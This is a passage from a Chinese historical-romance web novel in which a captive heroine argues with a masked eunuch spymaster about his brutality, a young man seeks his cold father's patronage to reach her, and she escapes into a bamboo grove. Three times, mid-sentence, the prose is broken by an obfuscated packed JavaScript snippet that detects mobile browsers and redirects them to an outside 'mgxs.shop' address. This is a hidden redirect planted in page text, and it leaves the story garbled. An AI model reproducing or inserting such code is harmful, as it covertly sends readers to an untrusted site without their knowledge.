江画棠看着她戒备的模样,眼底掠过一丝极淡的情绪,快得让人抓不住,他端着药往前递了递,语气听不出喜怒:“头还疼不疼?先把药喝了。” “是你把我从暗室里放出来的?”昭阳咬着唇,脑子里全是暗室里那摊暗褐色的血,还有那人疯了一样的怒骂,她避开江画棠伸过来的手,低声问:“你早就发现我了,对不对?” “嗯,”江画棠也不否认,将药碗放在旁边的几案上,“箱子动的时候我就看见了。” “那为什么……”为什么没有当场拆穿她?为什么还要放她出来?无数疑问堵在喉咙口,昭阳看着他,心跳又开始不受控制地快起来。 “来了不该来的地方,总该给你点惩戒才是。”江画棠抬手松了松领口的盘扣,玄色衣料下,隐约能看见小臂处一道浅浅的划伤,他抬眼看向昭阳,声音低沉:“你想知道什么?漕运的案子,还是我这个缉事厂督主的手上沾了多少血?” 昭阳被他问得一怔,反倒不知道该说什么了,她本来只是误闯,从来没有想过要探听他的秘密,更没有想到会撞破这么大的事情,她张了张嘴,好半天才挤出一句:“我……我什么都不想知道,我也不会说出去的。” “我知道你不会。从你站在书房门口,我就知道是你。”江画棠低笑了一声,这一次笑声里带着几分说不清的暖意,不像暗室里那样冷得刺骨,他伸手探了探昭阳的额头,触手还有几分微热,“再者,你若是真有什么心思,我也不怕。” 原来他从一开始就知道,最后这句,算是威胁吗?昭阳愣在原地,看着江画棠近在咫尺的面具,以及他此刻运筹帷幄的语气,她不禁又打了个寒颤,如果自己忤逆了他,会不会也落得和那个人一样的下场? 似乎看穿了她的心思,江画棠收回手,指尖还留着她额头的温度,他缓缓开口:“有些人确实死在我手上,可他们害的是百姓,吞的是粮饷金银,我不抓他们,死的就是更多无辜之人。”他顿了顿,抬眸看向昭阳,“他们都说我是罗刹,因为我手上沾了太多的血,不过那又如何呢?” “我本就是刑余之人,早就在这深不见底的京城里烂透了,多担几个骂名,又算得了什么?”他淡淡道,“做不成世人敬仰的佛陀,便成人人畏惧的恶鬼,好过跌在泥里,一辈子都抬不了头。” 昭阳听着这话,心脏猛地一缩,刑余之人?她猛地抬头,才反应过来江画棠的身份——他身为缉事厂督主,本就是阉人。这些日子相处下来,她竟全然忘了这件事,一时愣在原地,张了张嘴却发不出声音。 江画棠见她这幅模样,只当她与寻常人一样,是想起了这件事本能地鄙夷,他眼底那点暖意慢慢褪下去,指尖无意识摩挲着掌心,语气反倒恢复了之前的平淡:“你本就是误打误撞进来,这事你就当没见过,好好过你的日子,在你失去利用价值之前,我自会保你平安。”说罢便起身要走。 然而就在这一刹那,他的手腕被一股力道拉住,昭阳自己都没反应过来,就已经伸出了手,她攥着那微凉的衣料,低声道:“我……不是你想的那样”她看着江画棠回过头来略带惊讶的眼神,深吸一口气,把心里乱七八糟的情绪压下去。 该说什么好呢?总不能直接说,我并没有因为你是太监,而对你有什么嫌恶之情?思虑再三,想说的话堵在喉头,最后只化为了一句低语,“茉莉奶冻很好吃,你有空了记得尝尝。” 江画棠顿住脚,低头看着她攥着自己袖口的那只手,指尖白皙,指节还带着点薄粉,他沉默了片刻,反手轻轻按住了她的手,声音低得像是叹息:“你不怕么?全京城的人都怕我,都骂我是阉宦乱政,你撞破我这么大的事,就不怕我杀你灭口?” 昭阳抬眼撞进他的眼睛里,那里面映着窗外漏进来的天光,没有暗室里的冷冽,反倒藏着一点她看不懂的寂寥,她忽然就不怕了,摇了摇头,轻声说:“朝堂之事我不懂,但我也知其中暗流涌动,有太多身不由己,只要你不滥杀无辜,那些罪有应得之人,的确该受到惩戒,只是……” “只是什么?”江画棠饶有兴致地追问道,眼神里闪烁着好奇与探究的光芒,似乎对即将听到的答案充满了期待。 “只是……我从未亲身经历过那样骇人的场面,现在回想起来,依然害怕得很。”昭阳的声音微微发颤,她努力平复着情绪,脑海中再次浮现出暗室中那令人毛骨悚然的情景,不由得感到一阵后怕,“我听过一句话,杀生不虐生,若他是罪大恶极之人,那么死刑便是他罪有应得,但你真的将那个人剁碎之后拿去喂狗了吗?而且……你还派人抓走了他的所有家人?” “若我说是呢?”江画棠的话语平静得如同无风的湖面,不起一丝波澜,听不出任何情绪的起伏,仿佛只是在陈述一个与己无关的事实,却又隐隐透出一种不容置疑的坚定。 昭阳望着江画棠平静无波的眼眸,那是藏着的,是对生命的漠视,这让她不由自主地打了个寒颤。她知道,以江画棠的身份和手段,做出这样的事情并非没有可能。 “若真是如此……”昭阳的声音有些干涩,她艰难地组织着语言,“那便与我所认知的‘正义’相去甚远了。罪有应得,指的是他本人,而非他的家人。株连之罪,终究太过残酷。”她顿了顿,鼓起勇气迎上江画棠的目光,“至于虐杀……我虽不知那人究竟犯了何等滔天大罪,但以那样的方式结束生命,未免有失人道。” 江画棠沉默地看着她,面具后的表情晦暗不明。他似乎没想到昭阳会如此直接地表达自己的看法,而且是在这样的时刻。空气仿佛凝固了,只有窗外偶尔传来的几声鸟鸣,打破了这令人窒息的安静。 良久,江画棠才缓缓开口,声音里带着一丝不易察觉的疲惫:“人道?在这京城的权力漩涡里,人道二字,何其奢侈。”他站起身,背对着昭阳,望着窗外那片被夕阳染红的天空,“你以为,我若不狠,那些隐藏在暗处的魑魅魍魉会束手就擒吗?你以为,那些被他们残害的无辜者,他们的冤屈又该向谁诉说?” “我并非要为他们辩解,”昭阳急切地说道,“我只是觉得,即便是惩治罪恶,也应有其底线。若为了达到目的而不择手段,那与那些作恶者,又有何异?” 江画棠猛地转过身,眼神锐利如刀,仿佛要将昭阳看穿:“底线?我的底线,就是不让更多的人受到伤害!为了这个底线,我可以背负骂名,可以双手沾满鲜血!你可知道这世道的残酷?又怎能理解,无依无靠之人的无奈与挣扎?” 他的声音带着一丝不易察觉的激动,胸口微微起伏。昭阳被他眼中的决绝和痛苦震慑住了,一时竟不知该如何回应。她知道江画棠说的是事实,在这个皇权至上、等级森严的时代,想要惩治那些位高权重的恶人,往往需要付出沉重的代价,甚至要采用一些极端的手段。 可是,理解并不代表认同。她来自一个讲究法治与人权的时代,虽然知道现实的复杂,却依然无法完全接受这种以暴制暴、株连无辜的方式。 “我或许真的无法完全理解你的处境,”昭阳轻声说道,语气中带着一丝疲惫和迷茫,“但我依然认为,有些原则,不应该被轻易打破。” 江画棠深深地看了她一眼,眼神复杂难明。他似乎想说些什么,但最终只是化作一声长叹。“罢了,”他摆了摆手,语气恢复了之前的平淡,“你好好休息吧,今日之事,就当从未发生过。” 说完,他便转身离开了房间,留下昭阳一个人独自坐在床上,望着窗外渐渐沉下的夕阳,心中五味杂陈。她的确不知道江画棠究竟有着怎样的过往,也不知道自己今天这番话,会给他带来怎样的影响,更不知道自己未来在这座宅院里,又会面临怎样的命运。 只是,她隐隐觉得,自己与江画棠之间的关系,似乎在不知不觉中,发生了一些微妙的变化。那层原本隔着身份、立场和秘密的坚冰,似乎有了一丝松动的迹象,也不知道这样的变化,究竟是好,还是坏。 此时此刻,她不禁想起了那个如春风般温暖的少年,苏无虞身上隐藏的秘密,会是什么呢?他与江画棠之间,又有着怎样的牵扯?以至于,他要如此这般大费周章地,将自己软禁在这座院子里。 而昭阳不知道的是,此时此刻在京城之中,也有一个人,正在挂念着自己。 夜色如墨,泼洒在京城纵横交错的青石板路上。苏无虞与陆仁秉寻了半月有余,盘缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548158|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所剩无几,只得寻了处破败的土地庙暂且落脚。庙内蛛网尘封,寒风穿堂而过,吹得供桌上的残烛摇曳不定,将两人的影子拉得忽长忽短。 “无虞老弟,你看这个。”陆仁秉从怀中掏出一张揉得皱巴巴的纸,借着微弱的烛光,小心翼翼地摊开。纸上是一幅潦草的舆图,标记着几处宅院的位置,其中一处被红圈醒目地圈出,旁边用小字注着“缉事厂”。 这是他们费尽九牛二虎之力,从一个打更的老卒口中,用本该用来住店的半块碎银换来的消息。老卒提及,半月前,确有一辆极为寻常的青布马车,在深夜驶入了那处位于城西的宅院,驾车的是两名身形彪悍的黑衣劲装男子,车上下来一个带着鬼面具的男人。 而那处宅院的主人,正是缉事厂的钦差总督——江画棠。 “缉事厂……江画棠……”苏无虞喃喃念着这两个名字,指尖因用力而深深掐入掌心,指节泛白。他的脸色在烛光下显得愈发苍白,唯有一双眸子,亮得惊人,像是燃着两簇不灭的火焰。 陆仁秉见他这副模样,心中一紧,连忙劝道:“无虞老弟,你可千万要想清楚!那缉事厂是什么地方?江画棠又是什么人?那可是连皇亲国戚都要忌惮三分的狠角色!咱们俩不过是无权无势的布衣,这要是真撞上去,别说救昭阳妹子了,恐怕连咱们自己的小命都得搭进去!” 他顿了顿,语气愈发沉重:“我知道你与昭阳妹子情深义重,可咱们也得量力而行啊!这京城不比乡野,强龙难压地头蛇,更何况对方是江画棠这等翻手为云覆手为雨的人物。依我看,咱们不如先寻个地方安顿下来,再从长计议,或者……或者干脆放弃吧,就当……就当昭阳妹子是命中注定有此一劫。” “放弃?”苏无虞猛地抬眼,目光如炬,直刺陆仁秉,“陆兄,你可知当初我奄奄一息,是谁不顾自身安危,将我从鬼门关拉回?是谁日夜照料,为我缝补伤口,喂我汤药?是谁在我自暴自弃之时,以‘无虞’为名,予我希望?” 他的声音不高,却带着一种不容置疑的坚定:“是昭阳。于我而言,她不仅是救命恩人,更是这世间唯一给我温暖与活下去理由的人。我苏无虞此生,从未欠人什么,唯独欠她的,倾尽所有也难以偿还。如今她身陷险境,且还有可能,她是受了我的牵连才遭了这样的罪,我岂能坐视不理,苟且偷生?” “可是……”陆仁秉还想再劝,却被苏无虞打断。 “陆兄好意,我心领了。”苏无虞站起身,拍了拍身上的尘土,目光望向庙外沉沉的夜色,“这缉事厂,我知道厉害。江画棠,我也知道难缠。但我苏无虞,绝非贪生怕死之辈。” 他转过身,对着陆仁秉深深一揖:“这些日子,多谢陆兄仗义相助。只是此事凶险,我不能再连累于你。你我就此别过,陆兄可自行寻条生路,不必再等我。” 陆仁秉一愣,随即急道:“无虞老弟,你这是何意?我陆仁秉是那等见死不救、临阵脱逃之人吗?说好了要一起救昭阳妹子,我岂能独自离去?” 苏无虞摇了摇头,眼中闪过一丝复杂的情绪:“陆兄,我并非要你离去。只是……我需要离开几天,去办一件事。这件事,只能我一个人去。” “你要去哪里?做什么?”陆仁秉追问,心中升起一股不祥的预感。 苏无虞却只是淡淡一笑,笑容中带着几分决绝与神秘:“陆兄不必多问。我此去,或能寻得一线生机,或……便只能以身殉之。若我十日之内未归,陆兄便自行离去吧,莫要再为我浪费时间。” 他从怀中摸出一个小小的布包,里面是他仅剩的一些碎银,塞到陆仁秉手中:“这些钱,陆兄先拿着,寻个安全的地方住下,等我的消息。” 陆仁秉握着那冰冷的碎银,看着苏无虞决绝的背影,心中百感交集。他知道,苏无虞一旦做了决定,便不会轻易更改。他张了张嘴,想说些什么,最终却只化作一声长叹:“你……你万事小心。我在城南找一处客栈等你,你一定要回来。” 苏无虞没有回头,只是挥了挥手,身影便消失在庙外的黑暗之中,只留下陆仁秉一人,对着摇曳的烛火,忧心忡忡。他不知道苏无虞究竟要去做什么,但他隐隐感觉到,苏无虞此去,定是凶险万分,或许,会揭开一个他从未想象过的秘密。而这秘密,很可能与苏无虞的身世,有着莫大的关联。 夜色更深,寒风呼啸,仿佛预示着一场即将来临的风暴。京城这座巨大的漩涡,正缓缓张开它的巨口,等待着将所有卷入其中的人,吞噬殆尽。 25. 身份 苏无虞踏着晨露,来到了一座隐匿于京城僻静处的别院。乌木大门上铜环兽首在微光中泛着冷硬的光泽。一名管家模样的男子,见他到来,连忙上前,引着他穿过了蜿蜒的游廊,来到了院内的后花园。园内草木修剪得一丝不苟,石板路洁净无尘,空气中弥漫着淡淡的檀香。 花园深处,一个穿着紫色锦袍、腰束玉带的中年男子正独自坐在石桌旁,面前摆着一局围棋。他面容清癯,眉宇间带着几分久居上位的威严与疏离,手指间捏着一枚黑子,正凝神思索着棋局。听到脚步声,他并未抬头,只是淡淡地开口,声音平稳无波:“来了。” 苏无虞在离石桌几步远的地方站定,微微颔首,算是回应。他的目光落在棋盘上,黑白棋子交错,局势已然过半。 中年男子落下一子,发出清脆的“啪”声,这才抬眼看向苏无虞,眼神锐利,仿佛能洞穿人心:“近来,过得如何?”语气听不出丝毫关切,更像是在例行公事地询问一件无关紧要的事情。 苏无虞垂眸,看着自己洗得发白的衣袖,声音冷淡:“尚可。” “硬骨头。”中年男子冷哼一声,并未抬眸看向眼前人。“近来府中发生了许多事,夫人心思郁结,这段时间你就呆在别院,少出门惹事。” 苏无虞指尖微颤,垂在身侧的手悄然攥紧。他抬眼望向石桌后那抹熟悉的紫色身影,喉间涌上一股涩意:“您可知,数月前我在嘉诚县遇袭,险些丧命?” “哼,”中年男人将手中黑子重重落于棋盘,发出沉闷的响声,“你自小性子倔,夫人不过是让你长些记性,吃些苦头也是应当。”他甚至未曾抬眸看苏无虞一眼,目光始终胶着在棋盘上纵横交错的纹路,“若非看在你母亲临终前的嘱托,你以为这京城,是你能踏足的?” 苏无虞的心像被冰锥狠狠刺穿,连呼吸都带着疼。他想起母亲临终前攥着他的手,含泪嘱咐他定要好好活下去,想起自己被那位夫人派人掳走时的绝望,想起那些鞭痕烙铁在身上留下的狰狞伤疤,想起昭阳为他缝合伤口时颤抖的手……这些在眼前之人眼中,竟都成了“吃些苦头”。 “那夫人派人将我掳走,百般折磨,您也觉得是应当的?”他声音发颤,带着一丝连自己都未察觉的祈求,“试问我做错了什么?又需要长什么记性?” 中年男人终于抬眼,眼神却冷得像淬了冰:“夫人是府中主母,教训不懂规矩的庶子,天经地义。你若安分守己,乖乖待在京郊别院,何至于此?”他顿了顿,语气中带着警告,“我告诉你,如今朝堂局势复杂,府中经不起半点风浪。你给我老实待着,别再给我惹麻烦,否则……休怪我不认你这个儿子。” “不认我这个儿子……”苏无虞低声重复着这句话,像是在自嘲,又像是在确认。他忽然笑了起来,笑声里带着无尽的悲凉与嘲讽,“父亲从未认过我吧。在你眼中,我不过是母亲留下的一个累赘,是府中的污点。” 中年男子脸色一沉,猛地拍案而起:“放肆!你以为你是谁?若不是看在你母亲的面子,你早就死无葬身之地了!”他指着苏无虞的鼻子,语气严厉,“我再警告你一次,安分守己!你不是想知道你做错了什么吗?我今日就告诉你,你的存在,本身就是最大的错误!” 苏无虞看着眼前这个面目狰狞的男人,心中最后一丝期望也彻底破灭。他缓缓低下头,掩去眸中的痛楚与绝望,声音平静得可怕:“儿子知道了。” 中年男人见他终于服软,冷哼一声,转身拂袖而去,只留下苏无虞一个人站在空荡荡的花园里,任凭晨露打湿他的衣衫。寒风穿过游廊,发出呜咽般的声响,像是在为他哭泣。 他缓缓抬起头,望向灰蒙蒙的天空。苏无虞知道,从这一刻起,他与这个所谓的父亲,再无任何情分可言。他心中只有一个念头,那就是尽快救出昭阳,然后带着她,远远地离开这个令人窒息的京城,再也不回来。 所幸,此次回到这处宅子,本也不是为了与这个,向来就嫌恶他的人续话家常,他想要的,只不过是一个能够靠近缉事厂的身份。 只是,苏无虞不知道,前路等待他的,将会是怎样的狂风暴雨。而江画棠将昭阳软禁在西苑,究竟是为了逼迫他现身,还是另有其他目的?这一切,都还是未知数。 但他也知道,无论前路多么艰难,他都必须走下去,为了昭阳,也为了自己。 与此同时,京城的另一边,缉事厂的暗室里,烛火摇曳,映着江画棠脸上的玄铁鬼面,泛着冷硬的光。他端坐于紫檀木椅上,指尖轻叩着扶手,听着下方锦衣卫的汇报,声音低沉如冰:“没让我失望,来得还算快。” 锦衣卫单膝跪地,头埋得极低:“回督主,苏无虞三日前已入京城,与一名姓陆的药商同行。据眼线回报,他今日去了城郊别院。” 江画棠嘴角勾起一抹冷笑,面具下的眼神锐利如刀:“不算太笨,知道要寻个靠山。”他顿了顿,语气中带着一丝不易察觉的嘲讽,“继续盯着,我要知道他的一举一动。” “是!”锦衣卫领命,悄无声息地退了出去。 暗室里只剩下江画棠一人,他缓缓起身,走到墙边一幅巨大的舆图前,指尖落在京城的位置,眼神幽深。苏无虞,你终于还是来了。这盘棋,也该到收官的时候了。 就在这时,暗室的门被轻轻推开,一名身着苗疆服饰的老妇人走了进来,正是之前为昭阳下蛊的巫医。她手中捧着一个黑色的瓦罐,罐口用红布封着,隐隐能听到里面传来细微的虫鸣。 “督主,”巫医躬身行礼,声音沙哑,“那姑娘身上的蛊虫,已经完全长成了。” 江画棠转过身,目光落在瓦罐上,眼神复杂:“可还听话?” “回督主,此蛊名为‘同心蛊’,以精血喂养,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550202|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿主心意相通。如今蛊虫成熟,只需督主一声令下,那姑娘便会对您言听计从,甚至……为您去死。”巫医的声音里带着一丝诡异的兴奋。 江画棠沉默了片刻,指尖摩挲着面具的边缘,声音低沉:“很好。”他顿了顿,又道,“你先下去吧,没有我的命令,不许任何人靠近西苑。” “是。”巫医再次行礼,捧着瓦罐退了出去。 暗室里再次恢复了寂静,江画棠望着窗外沉沉的夜色,眼神中闪过一丝挣扎。他想起昭阳为他做奶茶时的笑容,想起她为他包扎伤口时的认真,甚至想起她与他争辩时的振振有词……这些画面,像一根根针,刺得他心口发麻。 “同心蛊……”江画棠低声念着这三个字,嘴角勾起一抹自嘲的笑。或许,这样也好。 而身处西苑的昭阳,正坐在院子里头忙活着。西苑的月色总带着几分清寂,昭阳借着廊下灯笼的微光,将最后一根竹篾编入草绳。指尖被磨得发红,她却浑然不觉,只盯着那截被月光镀上银边的墙头——那里爬满了常春藤,枝叶在风中轻轻摇曳,恰好遮住了墙内的视线。 “姑娘,夜深了,该回屋歇着了。”身后传来小丫鬟的声音,带着几分担忧。这半月来,昭阳常以“编草筐打发时间”为由留在院子里,与洒扫的丫鬟们渐渐熟络。昭阳的性子本就直爽,也不端着什么架子,几个丫鬟也同情她的遭遇,偶尔还会抱怨几句“家主规矩太严,连院子都不让姑娘出”。 昭阳回头冲她笑了笑,将草绳藏进袖中:“就回,你看这筐编得怎么样?明日想送给华姨当针线篓。”她故意将话题引开,目光却瞟向院墙后侧——那里是一片茂密的竹林,白日里能听见风吹竹叶的沙沙声,夜里则漆黑一片,仿佛能吞噬一切声响。 小丫鬟果然被草筐吸引,蹲下身啧啧称赞:“姑娘手真巧,这花样编得比集市上卖的还好看!”她没注意到,昭阳的指尖正悄悄掐算着墙角那棵老槐树的位置——树干斜斜伸向墙头,最低的枝桠离地面不过丈许,是翻墙的绝佳借力点。 “这剪子有些钝了,能帮我再去取一把新的吗?”昭阳言语诚恳,小丫鬟自然没有怀疑,点着头变打算进屋。 待丫鬟离开,昭阳立刻将草绳系在腰间,借着夜色摸到槐树下。她深吸一口气,想起三日前偷听到的对话:江画棠为了漕运案,近日会频繁出入皇宫,今夜更是要在宫中值夜。这是她唯一的机会。 手指抠住树干的裂纹,她像只灵巧的猫,悄无声息地向上攀爬。槐树枝桠粗壮,恰好能遮住她的身影。爬到墙头时,她小心拨开常春藤,探头望向墙外——竹林近在咫尺,墨绿的竹叶在月光下泛着冷光,仿佛一道天然的屏障。 “跳!”她在心里给自己打气,将草绳一端系在树枝上,另一端抛向墙外。绳子在空中划出一道弧线,稳稳落在竹林边缘。她深吸一口气,抓着绳子向下滑去。 26. 竹林 昭阳踩着沾了露水的青石板,深一脚浅一脚往竹林深处钻,时不时还要回头张望,生怕院子里的人追过来。她攥着沾了泥的裙摆,只觉得肺里都吸满了湿润的竹香,喘得说不出话。 慌不择路跑了小半个时辰,直到院落的灯笼彻底被竹涛盖过去,昭阳才扶着一根青竹停下来缓气。她抹了一把额头上的汗,抬眼才发现自己闯进了一片从未踏足过的竹林——放眼望去全是碗口粗的毛竹,层层叠叠的竹叶把天光遮得严严实实,地上铺着厚厚的陈年落叶,踩上去软得像踩在云里。风穿过竹梢的时候,整座林子都跟着轻轻晃,沙沙声里居然还混着一点煮茶的香气。 昭阳心里犯嘀咕。这荒无人烟的竹林里,怎么会有煮茶的味道? 她不禁浮想联翩,志怪小说里的书生,都是在这样的地方,遇上那些蛇妖狐妖的,没的以为自己误入了什么桃花源,最后被吃得连骨头都不剩。她不自觉地打了个寒颤,本想转身往回走。 可想想身后的院子,好不容易逃了出来,一则回去便是前功尽弃,二则又忍不住好奇——那香气混着竹叶的清苦,勾得她脚不由自主就往香味飘来的方向挪,转念一想,万一遇到了什么微服出巡的贵人,说不定自己就能顺利摆脱现在的困境了。 昭阳壮着胆子走了不到百步,眼前忽然豁然开朗,一片小小的空地中央,居然立着一间整整齐齐的竹屋。竹屋的篱笆门虚掩着,院里晒着几把干草药,屋檐下挂着一挂鳟鱼干,看着居然像是有人常年居住的样子。 昭阳攥紧了藏在袖子里的剪子,轻轻推开门,木门发出一声轻微的“吱呀”响,院里没有人答应。她放轻脚步走到屋门口,一眼就看见外间那架松木桌子上,端端正正放着一个鬼面具。 脑海中骤然“嗡”的一声巨响,仿佛有惊雷炸开,那张面具她实在太过熟悉。不是说他今晚去宫中值夜了吗?难不成是假消息?还是他摸鱼翘班了? 在这一瞬间,昭阳忽然深切地体会到了孙悟空当年被压在五指山下的那种心境——任你神通广大,却始终挣脱不出那铺天盖地的五指山,这种无力与束缚,真真是让人既心生愤懑,又感到深不见底的绝望。 然而……一个更强烈的疑问紧接着攥住了她的心神:江画棠的面具,怎么会出现在这个地方?这究竟意味着什么?是不是暗示着,只要此刻推门进去,就能亲眼见到面具之后、那张从未示人的真实容颜? 昭阳站在竹帘外面,指尖都有些发凉。她心里翻来覆去地打鼓:进去还是不进去?万一他还没发现自己逃跑,此时不是送上门吗?可仔细想来,这次逃跑似乎有些太过顺利,如果这是他给她的最后机会,错过了,会不会也如那个暗室中的人一样,被江画棠剁碎了去喂狗? 她咬了咬下唇,攥着剪子的手紧了紧,她先是悄悄将鬼面具藏在怀里,再是轻轻伸出手,掀开了那道挡在内外间的竹帘子。帘子串着细碎的玉珠,碰在一起发出轻轻的叮铃声,昭阳屏住呼吸,放轻了脚步,像只偷跑进来的猫,蹑手蹑脚往里面走。外间没人,那股煮茶的香气就是从内间飘出来的,熏得人都发暖。 她以为江画棠不在,或者至少会在里间忙,可刚走进去两步,就看见靠窗的拔步床上,躺着一个人。 那人背对着她,穿一身月白色的单薄睡衣,头发松松挽了一个髻,散下来的发丝落在肩头上,顺着后背的线条铺下去。竹窗开着,风把他的衣摆吹得轻轻晃,能隐约看见睡衣下肩背流畅的线条,不似那些武夫那样粗犷,反而透着几分清瘦,却又不会显得弱不禁风。 屋子里静得只剩下窗外竹涛的声音,还有那人浅浅的呼吸声。昭阳的心跳一下子快得要撞开肋骨,她攥着帘子,连气都不敢喘,脑子里只有一个念头:他睡着了? 她一步一步往床边挪,鞋底落在松木地板上,连一点声音都没有。眼看着离床头只剩下两步,她甚至能看清床沿雕着细碎的回纹,指尖都已经要碰到床柱了,床上的人忽然开了口。声音带着刚睡醒的沙哑,低低的,像浸在温水里,一点都没有惊讶的感觉:“踩碎了我三盆兰草,翻了我的篱笆,现在还跟着进来,是想看看我长什么样?” 昭阳吓得浑身一僵,脚都停在半空,进退不得。原来他早就发现她了,从她进竹林的时候?还是从她推篱笆门的时候? “咱们家真是大啊,没想到这竹林也是你的产业,做大官就是好。”昭阳明白自己这番开场白说得实在拙劣,可眼下这情形,她也实在想不出更合适的话来。无奈之下,他只能勉强扯动嘴角,又干巴巴地笑了两声,那笑声里透出的尴尬,几乎要凝滞在周围的空气里。 “皇上御赐的宅邸,这整片竹林,也是其中一部分。”江画棠姿态慵懒地回应着,声音里带着一丝漫不经心,“眼下更深露重,寒气袭人,你如此匆忙地出现在这里,难道是在‘咱们家’特意寻了这么个僻静地方,锻炼身体不成?” 昭阳心中自然明白,江画棠这话里话外分明是在嘲讽自己,可眼下这节骨眼上,若是顺着他的话认了,岂不正好中了他的下怀,白白落了下风?既然已经走到了这一步,干脆一不做二不休,把这场戏唱到底。 她眼珠一转,灵光乍现,当即三步并作两步,直直冲到床榻边,一把搂住江画棠的胳膊,紧紧抱在怀里,声音里刻意掺进几分委屈与急切:“怎么会呢!你这一走就是好多天,连个音信都没有,我……我实在是担心你,日夜都惦记着……” 她一边说着,一边已在心里暗暗调动情绪,准备顺势演一出情深意切的戏码,最好能挤出几滴眼泪,再配上些哽咽抽泣,打一张温情脉脉的感情牌。谁料,天不遂人愿,偏偏就在这紧要关头,话才说到一半,藏在袖中的那柄剪刀竟毫无征兆地滑落出来,“哐当”一声脆响,直直坠在地上。清冷的月光透过窗棂,正好照在那锋利的刀刃上,映出一片幽幽的、令人心悸的寒光。 空气瞬间凝固,连窗外的竹涛声都好似停了一瞬。昭阳的脸“唰”地一下白了,抱着胳膊的手僵在半空,整个人都像被钉在了原地,连呼吸都忘了往下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551596|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺。 她干巴巴地眨了眨眼,看着那柄安安静静躺在地板上的剪刀,脑子里一片空白,方才编排好的满肚子话,这会儿全变成了乱麻,绕得她太阳穴突突直跳。 江画棠也没说话,屋子里静得能听见昭阳疯狂的心跳声,一下一下,撞得耳膜发疼。过了好一会儿,只见他才缓缓转过身来。 昭阳下意识闭紧了眼睛,不敢去看他摘了面具之后的脸,只感觉到身边的床榻轻轻往下陷了陷,带着松竹香气的暖风一点点挨过来,拂在她的颈侧,痒得人浑身发紧。 “担心我?”江画棠的声音贴着她的耳边响起来,带着点低低的笑意,那笑意里藏着刀,刮得人脖子发僵,“那这又是什么?到底是担心我,还是想杀我?” 昭阳咬着牙,心一横,干脆睁开了眼。目光撞进江画棠眼底的瞬间,她反倒愣了。眼前的人没戴面具,一张侧脸鼻梁高挺,左眼角下那颗小小的红痣,像落在雪上的一点朱砂,这样的容貌分明就是……苏无虞? 不对,不对,昭阳猛地晃了晃神,努力驱散眼前的朦胧感,试图让思绪清晰起来。她再想定睛仔细去看,想要确认刚才那一瞥的真实性,然而就在这转瞬即逝的迟疑之间,江画棠不知什么时候,早已悄无声息地将她怀中的那副面具取出,。此刻,那副面具已然严丝合缝地戴到了他的脸上,再次遮住了他原本的容貌。 昭阳几乎愣在了原地,一股混杂着惊愕与迷茫的情绪瞬间攫住了她的心神。难道是自己这些日子以来过于思念苏无虞,以至于心神恍惚?她一时间分不清,方才见到的那张脸,究竟是真实存在,还是内心执念投射出的虚妄泡影。 “怎么?看傻了?”江画棠挑了挑眉,伸手捏住她的下巴,微微用力抬起来,逼着她和自己对视,“不是一直想看吗?现在看到了,满意了?” 昭阳张了张嘴,喉咙干得发涩,半天挤出来一句:“不是,你……我刚才没看清,还能不能……” “休想。”江画棠笑了,指尖顺着她的下巴往下滑,停在她纤细的颈侧,轻轻摩挲着,力道带着不容拒绝的压迫感,“解释一下吧,那把剪刀,怎么?我的院子里连件趁手的兵器都找不到,就想着逃跑?” “我没有!”昭阳下意识反驳,手腕一转,就想抽开被他按住的手,“我那是……那是出来找你的时候,随手拿着用来防竹林里的野兽的!谁知道它会掉出来!” “野兽?”江画棠挑眉,慢悠悠开口,“这竹林里,除了我,哪来的野兽?哦……想来在你心里,我比野兽还可怕,是不是?” 他说着,指尖微微用力,扣住了她的手腕往自己这边带,昭阳猝不及防,往前一扑,正好摔进他怀里。带着松竹香气的暖意瞬间裹了上来,江画棠身上的温度透过薄薄的衣料传过来,烫得她浑身一僵,连挣扎都忘了。 江画棠低头看着怀里面色通红的人,鼻尖蹭过她发顶,声音低了几分,带着一点说不清道不明的哑:“方才你说,日夜都惦记着我,这话……还算数吗?” 27. 皮鞭 昭阳的心跳如擂鼓,脸颊烫得能煎鸡蛋。她能清晰地感受到江画棠胸膛的温热和有力的心跳,鼻尖萦绕着他身上独特的松竹清香,与淡淡的龙涎香混合的气息,这味道让她莫名地感到一阵心慌意乱。 “我……”昭阳张了张嘴,想要辩解,却发现自己的声音细若蚊蚋,连自己都听不清。她的大脑一片空白,所有的语言组织能力在这一刻似乎都消失了。 